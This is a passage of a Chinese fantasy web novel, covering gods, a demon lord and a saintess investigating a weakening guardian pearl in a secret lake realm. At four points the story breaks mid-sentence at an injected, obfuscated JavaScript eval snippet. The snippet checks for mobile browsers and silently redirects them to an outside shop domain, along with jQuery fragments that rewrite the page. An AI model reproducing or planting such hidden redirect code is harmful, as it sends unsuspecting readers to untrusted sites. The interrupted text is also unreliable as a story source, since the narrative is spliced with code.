看这些幽祟的实力,显然与碧火台上的那两只不在同一等级,很快便被法术击中,落进了一处寂静无波的沉水湖中。 有了浮生镜确切的指引,他们原本只需顺藤摸瓜,寻找可能与镇幽珠失窃一事相关的线索。 可惜的是,不论是珞瑶还是众神,都没有在记忆里搜寻出这片湖泊的影子。 “按照镜中呈现出的画面,此地应该是魔界的某处秘境。”沧丞道。 各界皆有自己的秘境,这些秘境有的暗含珍稀灵宝,有的隐匿着通天机缘,一般是各界留给本族天骄历练或提升修为的地方,而不会公诸于众。 如果是这样,一切就都说得通了,至于那两个高阶幽祟与被困在秘境中的小怪物有没有关系,还要看下一步细查。 珞瑶很快向驻守魔界的圣境使者传了音,令其先去查探。 “魔族在各族中实力最强,有圣境使者在,灭几个低等的幽祟还不在话下……”朝梧本想宽慰,话到一半又想起另一茬,随之神情一滞。 在几人的注视下,她叹了口气,坦诚道:“我本想说此事实情不明,你大可先等圣使查探一番,之后再亲自去也不迟,可转念一想,你还是尽早出面的好。” 毕竟,魔界现在当家的那位性子孤僻,最忌遭人怀疑,若没有珞瑶在,圣境使者未必应对得来。 话止于此,气氛变得微微凝滞,其他人都领会了朝梧的意思,想起那些不太愉快的往事,也都默契地没有点明。 几人议论之际,从珞瑶到来便一言不发的羲泠脸色不大好看,低垂的眸子里情绪复杂,似忐忑,又似不安。 一副心事重重的模样,却又不肯宣之于口。 “我累了,先回去歇息了。” 羲泠说道,随后不顾沧丞等人的挽留,步履匆匆离开了。 众神没想到她会突然离去,也没能拦住她。朝梧疑惑道:“这是怎么了?方才还好好的……” 望着那道越来越远的背影,羲洵神情平静,仿佛毫不意外,眸中若有所思。 他收回目光,摇了摇头,“许是又胡思乱想了什么,由她去吧。” 众神与珞瑶相识已久,本不拘泥于什么礼数,况且他们早就了解羲泠的性子,便也没有在意,继续说起正事。 …… 浮生镜关闭后,珞瑶不欲多留,准备回圣境去,临离开前不知想起什么,又停下了步履。 “你洞府的那片银湖,里面还有没有鱼?”她回头望向沧丞,问。 “有,当然有。”沧丞下意识回答,旋即便明白了什么,笑起来,“哦,是你家那只小红猫又嘴馋了吧。最近神山灵气旺,鱼全都养肥了,你钓多少都管够。” 他这样说,珞瑶便没有客气,到银湖边捕了几条小鱼,与诸神告辞后,便只身回澜渊圣境去了。 珞瑶走后,神山归于平静。羲洵准备回居处,却被沧丞先一步拦住了。 “珞瑶离开前带走的鱼足有七八条,羲洵,你就没什么想说的?丹狸可没那么大的胃口。” 面前人立在原地不让,满脸按捺不住的八卦之色,羲洵无可奈何,只有坐下来,“有话直说。” 沧丞似乎就等着他这一句话,也跟着打开了话匣子:“珞瑶从外面带回去了一只剑齿白虎,如今就养在她的圣女殿,此事六 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202250|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界皆知,你去了一趟澜渊,难道没有见到?” 羲洵听后动作微顿,几不可察地走了一下神。桌上到处是被打乱的棋子,他拈起一颗,无意识在指尖摩挲。 天地人人关注澜渊圣境,就算是神族也一样,对此,羲洵自然不会不知情。 不仅知情,就连那只白虎什么模样、珞瑶在哪儿遇上的,他都一清二楚。 不论心里如何想,只一瞬的功夫,羲洵便敛下了所有情绪,信手在桌面上一拂,凌乱的棋子便被分成两部分,变得黑白分明了。 “那只白虎是她从幽祟手里救下来的,以前也不是没有过,你莫要大惊小怪。”他如常道。 那就是没见到了。 沧丞恨铁不成钢地肘了他一下,神神秘秘地压低声音:“那怎么能一样?你别忘了,剑齿白虎是高阶灵兽,可是能化作人形的。” 能化人形,意味着有情有欲,懂得天理伦常之事。 那白虎在澜渊养伤,倘若容貌不俗、性情柔软,抑或有什么稍稍吸引珞瑶目光的优点,可不就成了威胁羲洵的对手? “我知道你重视和珞瑶的婚约,但你怎么半点危机感都没有?如今珞瑶情窍未开,是不懂得什么,可那些年轻的灵宠精怪最是天真活泼,且大多爱美,万一……” 沧丞苦口婆心地说着,羲洵垂着眼眸,不像听进去了多少,反而沉浸在了自己的心思里。 不知想到什么,他脸色未变,指骨却微微泛白,悄然暴露了他的失态。 沧丞没有察觉出羲洵的异样,仍在喋喋不休,朝梧见势不对,忙上前打断了他的话:“他们两个的私事,你管那么多做什么?实在是聒噪。” 被这么一训,沧丞反应过来,当即不再说了,羲洵的思绪也被拉了回来。 他很快调整如初,无奈道:“她不会,你就莫要操心了,与其想这些有的没的,还不如过来,把这些你下过的棋子收好。” 说着,羲洵随手拈起一颗,向他扔了过去。 沧丞接住了,十分识趣地没有将上个话题继续下去,走到他对面石桌前:“是是,我来收,我来收……” 神明各司其职,今日难得空暇凑到一起说闲话,三言两语间,气氛随着放松下来。 朝梧抱臂在旁看着,饶有兴趣地提起另一茬:“不过羲洵,今日事发突然,你怎会知道有人想对镇幽珠下手?算算日子,现在离你正常出关的时候还早。” “闭关时日有长有短,因实际而定,哪有什么定例。我不过是偶然撞上碧火台出事,动身比你们快一步罢了。”羲洵道,口吻一如平常。 他的回答全无破绽,朝梧和沧丞听了也没再深思,后者手指轻点,两只棋篓便无声化形,如水一般原地消融了。 5. 既见浮生(五) 次日,一缕狐影跃过云间,自神山飞往孤妄崖。 荆棘高墙外一片青光,是神明的气息,魔界守卫纷纷跪迎。羲泠降临界主殿,却没有使人通传,而是轻车熟路地踏过熔岩长桥,直奔暗域深处。 她进入界主殿,目光冷冷,投向银阶上那人,“昨日碧火台上的事,与你有没有关系?” 见气氛不对,一众侍从垂着头,无不噤若寒蝉,只听见头顶响起一声漫不经心的嗤笑。 满堂血色烛火骤然亮了起来,银阶之上,男人转过了身,深邃的五官隐在暗处,看上去又阴又冷。 “神君为何怀疑我,因为我是魔界界主?还是——” 他直视着羲泠,唇角勾起笑,却没有深达眼底,“因为我为天道不容,怎样都是错?” 冷光一闪,原本立在殿下的羲泠消失不见,下一秒,她化作一缕烟尘飞上重重高阶,手指纤细却无比有力,一把扼住了男人的咽喉! “神君息怒!神君息怒!” 侍从们见状大惊失色,生怕自家主上因神明之怒有个三长两短,黑压压跪了一地。 羲泠不理会他们,紧紧逼视着近在咫尺的人,声音从齿缝间挤出来:“自从你继任魔尊之位,整个魔族行事愈发孤僻自由,夜絮,你问我‘为何怀疑’?” 要知道,被幽祟附身的那两个冤大头在魔界并非无名小卒,虽不是什么长老级别的人物,但也是有头有脸的一方魔君,从前还在夜絮手下办过事,是他的近臣。 此等修为的人,怎就那么轻易地遭了暗算?更别说孤妄崖为防幽祟入侵,处处布有天罗地网。 羲泠还记得五千年前的那一天,天地失色,穹空像被愤怒的天雷劈开了一样,阴沉得吓人。 空中黄沙翻涌,寒风猎猎,那时的夜絮尚是神明,他逆风直上,却被雷光狠狠斩落,从云顶跌进了泥土里。 神骨不存,又遭天道除名,剔出神谱。 从那一刻起,天地间再也没有了巫神。 后来,漫天下起了大雨,他就靠在她怀里,满身都是雷劫留下的鲜血和伤痕,虚弱到极致时,却是肆无忌惮地大笑出声。 “天道,哈哈哈哈——” 雨势倾盆,淋得人满脸都是。他笑累了,通红的眼睛一眨不眨地盯着天,低低呢喃:“与其像笑话一般活着,我还不如将这六界搅个天翻地覆……” …… 想起那些过往,羲泠呼吸起伏,“除却神山,魔族的实力在各界中最强,铜墙铁壁号称坚不可摧,这次就偏偏被幽族趁虚而入,你要我如何相信你?” 夜絮依然坐在界主位上,他被掐住脖子,面容已然泛白,不可自控地露出痛苦之色,又快意般笑了起来。 他抬起眼,直视羲泠愤怒的眼眸,嘲讽道:“那便不信吧,反正,神君是从未信任过我的……” 羲泠被激得心头抽动,盛怒之下竟没有松手,而是更加收紧了手指。 就在她险些丢了理智的时候,殿外暖光渐起,一声厉喝自遥远处传来:“羲泠,住手!” 羲洵及时赶来,落地后衣袖一挥,银阶上失控的羲泠便被一道光晕隔开,猛地向后退了好几步。 直至此刻,羲泠的理智终于回笼。没想到羲洵会来,惊异之余,她目光不甘地收回,复又投向界主座上的夜絮,留下一句警告。 “你要是敢背叛投敌,我一定亲手杀了你。” 说罢,羲泠头也不回地离开了界主殿,身后裙角翻飞,利落地掠了过去。 鸦雀无声的大殿里,唯有风声簌簌作响。 不知过了多久,夜絮终于平复了呼吸,低低出声:“羲洵,你说,我还要做什么以表忠心?” 他自嘲地一哂,自问自答:“……再飞升一次吗?” 见他如此,羲洵眸色复杂,宽慰道:“此次是她太冲动,你多担待,回去之后,天罚自会给她教训的。” 昨日看羲泠的反应,他就担心她会做什么不冷静的事,所以时时都关注着,果不其然被他猜中了。 夜絮苦笑着摇了摇头,抬起眼,“碧火台上发生的那件事,你应该也怀疑与我有关吧。” 这次羲洵沉默了,久久未言。 见他不回答,夜絮也没有继续追问,堪称平静地靠在椅上,面容被烛火映得明暗。 “其实昨日太阳落山之前,珞瑶就已经来过一次了,想必你们想问的是同一件事。” 许久,夜絮站起身来,身影隐在光下,分外萧索,“幽祟很少踏足孤妄崖,就算有,也早被镇守各方的长老连同圣使诛灭了。你们说的那件事我不清楚,不过最近一次发现幽祟出没的痕迹,是在挨近灵界的隐月湖底。” 隐月湖。 看来昨日在浮生镜中看到的地方,就是这里了。 羲洵离开后,众侍从匆忙赶上来查看夜絮的伤势,后者立在原地,满面疲惫,又夹杂着几分模糊的情绪。 他闭上眼,低喃道:“恨吧……比起忘记我,还不如恨我……” …… 越出魔界后,羲泠并未只身离去,而是在魔界外等待着羲洵,后者与她汇合,但脸上失去了平常的笑意。 “你怎么会跟过来?” “我不过来,难道就看着你闯祸?” 羲泠自知理亏,静静垂眸不语。 羲洵面色仍不见好转,沉声道:“神明不可滥开杀戒,更不能沾上无辜者的血,若你方才当真对夜絮动手,且不说天罚如何,你自己就能心安吗?” 世间生灵一旦飞升成神,就要严守神格纯粹,昔日的家世身份皆不存,血缘亲情也会随之渐渐变得淡薄,就像他们,即使曾为兄妹,但如今更是两位独立的神祇,遇上关键时刻,谁也没有权力干预谁。 因此,过去兄长教导小妹的规矩,总归不如天道制约神的守则管用。 羲洵说完该说的话,心中有气也散得差不多了,见面前人不吭声,他的语气有所软化,“好了,今日之事就当是个教训,回去吧。” 说罢,他准备离开,羲泠立刻问:“你不和我一道?” 羲洵摇头,“孤妄崖地形诡谲,幻象丛生,我先去隐月湖附近探探路,如有问题,也好提前知会珞瑶。” 这本不是神明的分内之事,羲泠听了再也忍不住,气愤地直呼其名,“羲洵!你还要因为那一纸婚约徒劳多久?” “你说什么?”羲洵定住脚步。 他性子温和,平时没那么多忌讳,但这一个“徒劳”却正正戳着了他的底线。 被他直直盯着,这一次,羲泠却没有退让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202251|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你做了那么多,可她永远不会知晓,这难道不是徒劳吗?你那时——” “羲泠。” 羲洵没有大怒,这一声轻唤却承载着兄长乃至神明所有的威严,立刻就将羲泠带着怒气的话语堵了回去,不敢再说了。 两人立在云彩搭成的浮桥边,一时无话。 许久过去,羲洵才开口,口吻是前所未有的认真,“身在神位,当为天下苍生着想,那些事是我自己的选择,本就不该由她背负责任。” “以后别再提起了。” 他望着羲泠,最后一句似劝诫,又似警告。 …… 另一边,澜渊圣境。 天色渐暗之际,浓云漫卷,朦朦胧胧地看不清晰,珞瑶独自坐在藤条桌前,一手拄着头,不过在此小坐片刻,困意竟席卷而来。 没过多久,她再度陷入了梦境。 - 黄昏时分,羲洵立在初昙殿前,却被一人挡在了门外。 那人身量与羲洵相仿,却瞧着脸生,看上去才病愈不久,一双暗红色的瞳眸如幽暗中的烛火,他站在羲洵对面,脚下分毫不肯退让。 看着两人对峙,丹狸在旁边急得团团转。 没过多久,里面传来了女子的声音,微微发哑,明显听得出虚弱,“我伤势未愈,羲洵,你回去吧。过几日我再向各界传音,共议碧火台之事。” 门外,羲洵紧皱着眉,饶是他平日待人随和,但当看见一个完全陌生的男人出现在圣女殿,还拦着不让他与珞瑶相见,又怎能心平气和地接受? 羲洵忍着愠意,少有地失了风度,“你不愿见我,那他呢?他就不会打扰你吗?” 目光与对面人无声对峙,开口问的却是她。 穹光散去,天边愈发昏暗。里面没有再传来话语,却非沉默,而是响起了隐隐的咳嗽声。 羲洵就在外面,自然听见了那道压抑的动静。他眉间神印明暗,撑在廊柱上的手指蜷起又展开,最后终是念着她的身体,妥协地叹了口气。 “罢了,你先好好修养,定要服下我送来的丹药,护住元神……你的性命,比一切都重要。” 嘱咐过后,他转身离去,主动熄灭了将起的狼烟。那背影依旧挺拔如松,却显出几分难言的冷清。 在走出庭院前,羲洵停下了脚步,片刻,声音复又在静谧中响起。 他说:“阿瑶,我知道天意难测,婚盟并非你愿,若有一日你厌倦了,记得告诉我,我们……随时可以解除。” 没有愤怒,亦没有什么威胁或指责,仿佛只是平静地征求她的意见,等待她的回音。 …… 男人被传召入内时,珞瑶已经坐在了树藤桌边,身上的单衣素白如银,仍沾染着星星点点的猩红血迹。 “我让丹狸给羲洵带话,并没有让你露面。” 因为重伤初醒,她面色苍白,眸光却不见涣散,反比平常更多了冷冽。 男人低眸望她,那双红眸在灯盏下愈发显得幽深,“圣女不愿与神君相见,既然如此,他看到了我,不就更能死心离开了吗?” 殿中无人接话,只剩下满室花草翕动的轻响。 半晌过后,男人终是屈服,向珞瑶低下了头:“是我错了,求圣女宽恕。” 6. 既见浮生(六) “珞瑶?” “珞瑶,快醒醒!” 珞瑶在呼唤声里苏醒,睁开眼,丹狸已经跳上坚固的树藤桌椅,就坐在她面前。 “珞瑶,你最近是不是太累了?坐着都能睡着。” 它担忧地歪着头,两只毛绒绒的耳朵摇晃了两下,珞瑶直起身体,睡意也很快随之而去了。 不必丹狸问,就连珞瑶自己也发现了,最近她确实容易犯困,而且每每睡着,总是会陷入不同的梦境。 在梦中,她看到的不是发生过的事,但十分逼真,几乎要让她担心与现实有什么关联——自己为何会重伤,还有,那个红瞳男人是什么人? 或许真如丹狸说的那样,近日事务繁多,自己忧思过重了。 这时,一只传音蝶悄然飘进来,敲响了悬挂在空中的铃兰,珞瑶动了动指尖,那蝴蝶便飞到了她耳边,扇动着轻薄的翅膀。 珞瑶屏息静听,从传音蝶口中得知了消息——就在刚才,羲泠降临孤妄崖,出手伤了魔尊夜絮,羲洵及时赶到,叫停了二人的争执。 虽然不在场,但珞瑶基本能猜到事情的来龙去脉,对此也不感到意外。 毕竟,羲泠与夜絮的矛盾由来已久,就连羲洵也绕不开。 一道稚嫩的声音适时响起,含着好奇,“珞瑶,这其中到底有什么故事?” 丹狸年纪小,对这些六界旧事自然不知情,珞瑶缓缓吐了口气,心头澄明如镜。 自上古神陨落后,六界再无天命之神诞生,修炼者通过雷劫修得神骨,得以登临神位,现下神山在位的八位神祇,便都是从各自的族群飞升而来的新神。 其中,光明神羲洵与音律神羲泠曾是一母同胞,皆出身于蓬莱仙岛。 五千年前,天地间爆发了一次罕见的幽祟大潮,仙族首当其冲,遭遇到了前所未有的袭击,圣使没来得及将消息传回澜渊,便淹没在了汹涌的祟潮中。 事急从速,那时的仙主——也正是羲洵兄妹的母亲,为了保住仙界,她率先向最近的孤妄崖传音,然而,当时的魔尊荒废政事,整个魔界局势混乱,音信传至界主殿许久才得以面见主上,等到军令下达时就更不知今夕何夕了。 为护族中生灵,老仙主始终守在最前线,待魔族的援兵姗姗到达时,她也神魂尽散,力竭而亡。 仙尸十万具,血流三千里,在那之后,仙魔两族的关系便一落千丈,至今也未能修补好裂痕。 往事沉重,丹狸也老实许多,窝在珞瑶身边小声嘀咕:“老魔尊害死了老仙主,现在的魔尊又是老魔尊之子,怪不得……” 提起夜絮,珞瑶目光动了动,变得有些复杂。 很久之前,天地间除了现在的八神,还有第九位神明。巫神夜絮司掌众生梦境,精通幻梦之术,那时他与羲洵齐名,共同象征着现存神族的修为巅峰。 只是后来,他因天命的诅咒从神位陨落,又重新回到了魔界。 云光飘摇,殿外起了微风,空中隐隐飘着一股药草磨碎的香味,清新怡人,又含着隐隐的苦涩气。 闻到这阵气味后,珞瑶终于想起了被自己救回圣境的剑齿白虎,身形随之一闪,来到了后殿的花园。 仙花灵草筑成的圆台中央,白虎安静地蜷缩成一团,正在沉睡之中,唇吻两侧锋利的剑齿也乖巧地垂了下去。 珞瑶感知到它身上重伤的血腥气已经逐渐消退,她走近两步,两指伸进它毛绒绒的颈间,轻探脉搏。 珞瑶在冥界边缘救下它的时候,它双眼被毁,四条腿折断了两条,后背的毛发也被烈火灼烧出一片焦黑色,浑身上下伤痕累累,触目惊心。 幸好澜渊圣境灵气充盈,再加上众多药草的悉心照料,最后总算不负努力,将他从鬼门关拉了回来。 现在,它伤势基本痊愈,身上重新长出了雪白的毛发,虽然依旧精神不佳,时常昏睡,但已经能正常吃饭走路了。 指下血管正有力地跳动,昭示着蓬勃的生命力,珞瑶眉头微舒,收回了手。 澜渊圣境地界广阔,殿宇山泽绵延千里,她大多时候繁忙,所以平时很少来探望白虎,以至于过去这么久才想起,自己竟连它清醒时的模样都没有见过。 不过听丹狸说,它醒来的模样,并不像它沉睡时这样安分。 “珞瑶,你打算什么时候送它走?” “你都不知道,它总吓我,那对虎牙那么长,那么尖……” 想起那天白虎张开血盆大口时恶劣的表情,丹狸躲在珞瑶肩头,气得冲它直哈气。 这些日子因为收留白虎的缘故,丹狸的“领地”被人入侵,它有怨气也是正常的,珞瑶一笑置之,心中却莫名想起了方才打盹时做的梦。 梦里,那人站在初昙殿前与羲洵对峙,最后不欢而散。 她不知梦境真假,亦不清楚那人是谁、来自何方,不过——这种私事被人自作主张插手的感觉,委实令她不大舒适。 或许,以后她该更注意一些。 思及此,珞瑶心中已有了决定。她转身离去,遂了丹狸的意:“近日碧火台不安稳,令澜渊各处加强警惕,待小白的伤彻底养好,就让它离开吧。” “遵命!” 丹狸听了喜不自胜,欢快地跟在她身后,离开了庭院。 一人一猫的声音渐渐远去,草木摇曳,静谧得如往常一样。 白虎依然卧在花丛间,某一刻,它意识归笼,悄然半睁开双眼。 那暗红色的瞳孔如两团焰火,细微地动了动。 …… 翌日,珞瑶前往孤妄崖,亲探隐月湖底。 以往百年一苏醒的隐秘之境,这次为了圣女提前开启。随着暗光闪现,黑沉沉的湖泊渐渐变得清澈,湖心漩涡搅动,最后形成了一扇无形的水门。 珞瑶化作真身,纵身跃入水中。 隐月湖名为“湖”,穿过又深又冷的湖水,里面却是别有洞天,水底没有水,反而如岸上的陆地般草木茂盛,有花草,有生灵,俨然一个隔离在世外的小世界。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202252|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比起湖泊,这里更像个遮天蔽日的丛林。 珞瑶身边跟着驻守魔族的圣境使者,对隐月湖一带颇为了解,“这里地形罕见,湖水也并非普通的水。凡是被打落进入湖底的幽祟,魔族不必出手消灭,只消将它们关在这里,不出一月便会被弥漫的水汽侵蚀殆尽。” 珞瑶静静听着,心道:难怪。 先前她虽没有亲自来过,但也有所耳闻,知道魔界有一片能够消灭幽祟的秘境,效果卓然,原来就是这里。 如此,她在浮生镜中看到的景象就可以解释了——正是因为隐月湖有这一功效,所以魔族才会当发现潜逃入界的幽祟时,将它们全部赶进这里。 “你的意思是,这里不会有我们想找的东西?”珞瑶问。 圣使亦不敢断言,跟在她身边,缓缓向深处走,“以往被困在湖底的幽祟都翻不起什么风浪来,只有等死的份,若出现在碧火台上的那两个曾经来过这里,想必也难逃一死……” 正说着话,周遭突然起了风,吹得呼呼作响。 珞瑶脚下蓦地停住,眸子眯了一下,“来了。” “什……” 她话语简短,圣使还没来得及反应,下一秒,就听见不远处传来幽祟的嘶吼声。 山野尽处,黑光乍亮。 秘境中有人闯入,原本沉寂着的怪物纷纷被惊醒,霎时间涌出山洞,向着两人席卷而来! 珞瑶定睛一看,这些幽祟数量虽多,但肉身大多残缺,应是已经被湖底的水汽侵吞了一半,只剩最后一口气苟延残喘。 然而,事情远没有这么简单,圣使指着祟潮中某处,声音难以控制地变得慌乱,“那是——” 珞瑶盯着那明显更加庞大显眼的怪物,心绪发沉。 那是更高阶的幽祟,外形与那天出现在碧火台上的两个如出一辙,而且与周围其他幽祟相比,它们的躯体完好无损,没有半点被水汽侵蚀的伤痕。 隐月湖水伤不到它们。 珞瑶手臂一抬,流水般的广袖中登时飞出一条绸带,隐约泛着柔和的莹蓝色光泽,正是澜渊圣女用于降服幽祟的法器,轻光绫。 她飞上高空,毫不胆怯地冲进烈光中央,圣使亦驱动法力,紧跟在她身后攻去! 湖水变得汹涌,在秘境顶空激荡不止,暴烈得犹如海啸爆发一般,到处是白花花的水浪。 绫罗萦绕在珞瑶周身,分明是软绸的材质,却有着钢鞭一样的力道,豁然将密密麻麻的祟潮抽出了一道裂口。 在两人的默契配合下,原本猖狂的黑潮露出颓势,逐渐有了消退的迹象,再度诛灭一波幽祟后,珞瑶落回地面,微微喘息。 不知为何,她忽然感到后背像撕开了个风口子一样,尝到一阵寒至心头的疾风。 珞瑶有所觉,缓缓转过头去,方才全力歼敌的圣使正直直立在后面,眼中无神,身上自内而外透着一阵诡异的黑气。 下一刻,他突然暴起,方向却不是朝着那群幽祟,而是冲向了珞瑶! 7. 既见浮生(七) “嗖嗖——!” 强势的力量袭来,竟是毫不留情的杀招,珞瑶迅速躲开,向后急退,厉声喊出圣使的名字:“寒丘!” “寒丘,你好好看清我是谁!” 奈何圣使邪气入体,早已被附身的幽祟控制了心神,听了珞瑶的话后没有任何反应,依然气势汹汹地向她逼近。 珞瑶试图唤醒他未果,最后被迫出手,却又无法使出全力,只有一边控制着力道出招防御,一边穿梭在密林间与他周旋。 要是放在以往,珞瑶想制服手下一个圣使是轻而易举的事,但她不愿伤他性命,本就已经束手束脚,同时还要抽出精力对付山原间源源不断涌上来的幽祟,饶是她修为再高深,此刻也是分身乏术。 时间一长,珞瑶明显吃力起来,反观对手全无疲惫之态,仿佛一群只为杀戮而生的机器。 在这样下去,她和寒丘都要死在这里。 珞瑶暗暗一咬牙,随后双手掐诀,短短一息之间,镇幽珠便在虚空里缓缓浮现出来,飘进了她的手掌心。 光华漫天,圣使被重重震飞了出去。珞瑶十指结印,手腕一翻,灵珠便被重新推向高空,在圣光里映上重重叠叠的昙花影。 就在珞瑶默念法诀,准备彻底解决眼前的麻烦时,意外发生了——从来力量稳定的镇幽珠,此刻悬浮在空中,光芒微弱地闪烁起来。 这突如其来的变故令珞瑶始料未及,旋即动作比意识快,再一次重复施法。 掐诀,结印,掐诀,结印。 灵珠放出几道虚弱的镇幽法阵,依然能够艰难地执行圣女的指令,但不知何时,已经失去了原本熠熠的光泽。 回神的那一瞬,珞瑶的脸色缓缓变白,原本还算平定的心紧跟着颤抖起来。 澜渊圣境的立身法宝,抵御幽祟入侵的镇幽珠,庇护天地数万年的镇幽珠。 它的灵力正在流失。 …… 先前被逼退的祟潮恢复了力量,即使方才被斩杀了一部分,现在剩下的也不在少数。 眼见一旁被击飞的圣使复又向自己逼近,珞瑶顾不得其他,忍着一团乱麻的心绪,继续驱动起那奄奄一息的镇幽珠。 不论如何,好歹能拖延一段时间,但事到如今,她已不能通过唤醒寒丘来全身而退,唯有寄希望于隐月湖外。 珞瑶当机立断,指尖一点光芒化作传音蝶,这时候,一只温热的手掌蓦地抵上了她的后心。 刹那间,珞瑶只感觉一股柔和却强势的气息被灌进了她体内,让几近耗竭的灵台如枯木逢春般恢复,再度变得充盈起来。 一道熟悉的声音在身后响起:“凝神,我为你护法。” 分辨出来人是谁后,珞瑶迅速冷静下来,依照他的话屏气凝神,全力驱动起镇幽珠来。 有了身后强有力的支持,她的灵力渐渐变得平稳,轻光绫裹挟着莹蓝色的光抽向山林深处,惹得倦鸟惊飞,驱散了缭绕的云雾。 眼前状况紧迫,必须要尽快把幽祟全部消灭,否则留在这隐月湖底,终究是个隐患。 珞瑶眸中闪过凌厉,再度向祟潮冲去。 …… 不知过了多久,天地终于归于平静。 没有了主人的操控,绫罗轻飘飘地落了地,珞瑶僵直地立在原地,半晌才后知后觉发现,原来自己已经没了力气。 眼前一阵天旋地转,她扶着盘虬的树藤,缓慢地坐到地上,手中握着那颗虚弱的灵珠。 羲洵目睹了方才的意外,亦深知这场意外的严重性,却一句话都没有问,就那样安静地陪着她,一切决定都等她先开口。 不知过了多久,珞瑶凌乱的呼吸总算平复下去,面上却依旧不见血色,白得像纸。 她抬起眸子,声音嘶哑:“这件事,绝不能昭告天下。” 倘若镇幽珠灵力衰退的事被宣扬出去,六界必将动荡不安,难有宁日。 上至界主长老,下至生灵万物,整个天地,都将陷入无穷无尽的恐慌。 “我明白。”羲洵轻道。 他轻轻一叹,一手缓缓靠近,隔着一寸距离,用掌心覆上珞瑶的面容。 浅金色的光芒溢出指缝,像轻柔的薄纱,千丝万缕般流向珞瑶的方向,拭去她唇角的血迹。 没过多久,她衣裙上稀碎的伤痕、尘灰,也被神光轻轻擦去了。 等到灵台稳定下来,珞瑶的精神明显恢复了一些,她不肯死心,想再次催动镇幽珠的力量,可一连尝试了好几次,始终没有出现任何进展。 投在地上的灵昙影子无力地轻晃着,她置若罔闻,欲消耗好不容易恢复起来的灵力继续试,最后一次结印立阵时,被羲洵握住了手腕。 他目光紧锁着她苍白的面容,“别再试了,你受不住的。” 两人的目光在空中交汇,无声对峙半晌后,是珞瑶先移开了视线。 经他阻拦,她理智回笼,终归是熄了结印的心思。 镇幽珠失灵了,但界壁尚存,她上天入地,走遍整个六界,总能找到挽救的法子。 也许会找到。 至此,珞瑶找回了理智,从地上重新站起来。 两人留在原地之际,空中湖水漾开一道涟漪,沧丞事先收到了羲洵的传音,自神山而来,落地后看见眼前一片狼藉,树梢和地上还淌着没能消散的黑血。 “这是出了什么事,怎么弄成这样?” 沧丞意外,视线无意一扫,发现珞瑶掌心的灵珠忽明忽灭,险些一口把自己舌头咬掉。 这,这这这—— 他已经亲眼所见,眼下的情形就不必多言了,珞瑶道:“有高阶幽祟藏在这里,方才附身在了寒丘身上。” 圣使被轻光绫击中,在体内邪气被逼出的时候就晕了过去,此时依然靠在树下不省人事。 沧丞过去瞧了一眼,虽没有大碍,但也不适合继续留在这里了。 于是,水神打了个响指,默默把人送出了隐月湖。 珞瑶没有询问羲洵是如何得知的消息、为何会适时赶来,她被镇幽珠的事占据了全部心神,根本没有理会其他的精力。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17202253|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 幽祟本性凶残嗜杀,还拥有极强的繁殖能力,隐月湖底之所以会出现数量那么庞大的祟潮,应该就是它们短时间内繁衍的缘故。 既然已经了确定这里存在高阶幽祟,为了排除风险,她必须把这里全部走一趟。 珞瑶抿着唇,将手中的珠子收回衣袖。 她的灵力已然恢复了七八成,即便镇幽珠力量微弱,有羲洵和沧丞的助力,她也足以应对接下来可能出现的突发情况。 …… 休整一番后,三人继续向前。越过树林后,映入眼帘的是一片冰山雪海,尽头冰冻形成的断崖通体剔透,脚下的谷地一眼望不到底。 死一样的静寂,仿佛不存在温度,更没有花草生灵。 一行人来到冰崖边,行走间边缘的雪粒冰块不断滚下去,却听不见落地的声音。 沧丞扫视过四周,道:“这湖底就这么大,我们已经走过了前面的所有地方,若说还有哪里能藏匿幽祟,便只剩下此处了。” “一探便知。”珞瑶道。 说完,她手一挥,一道法阵缓缓形成,如花影摇曳般投射在地上。 紧接着,这道法阵在空中越升越高,越变越大,最后生长成了一个足以遮天蔽日的规模,直直向山谷深处砸去! 法阵落进去,俄顷,深不可测的谷底传出几声尖厉的嘶鸣,随之泛起一片淡淡的赤光。 “果然藏在这里……好在数量不多。”沧丞见状道,羲洵的心也跟着松弛了一些。 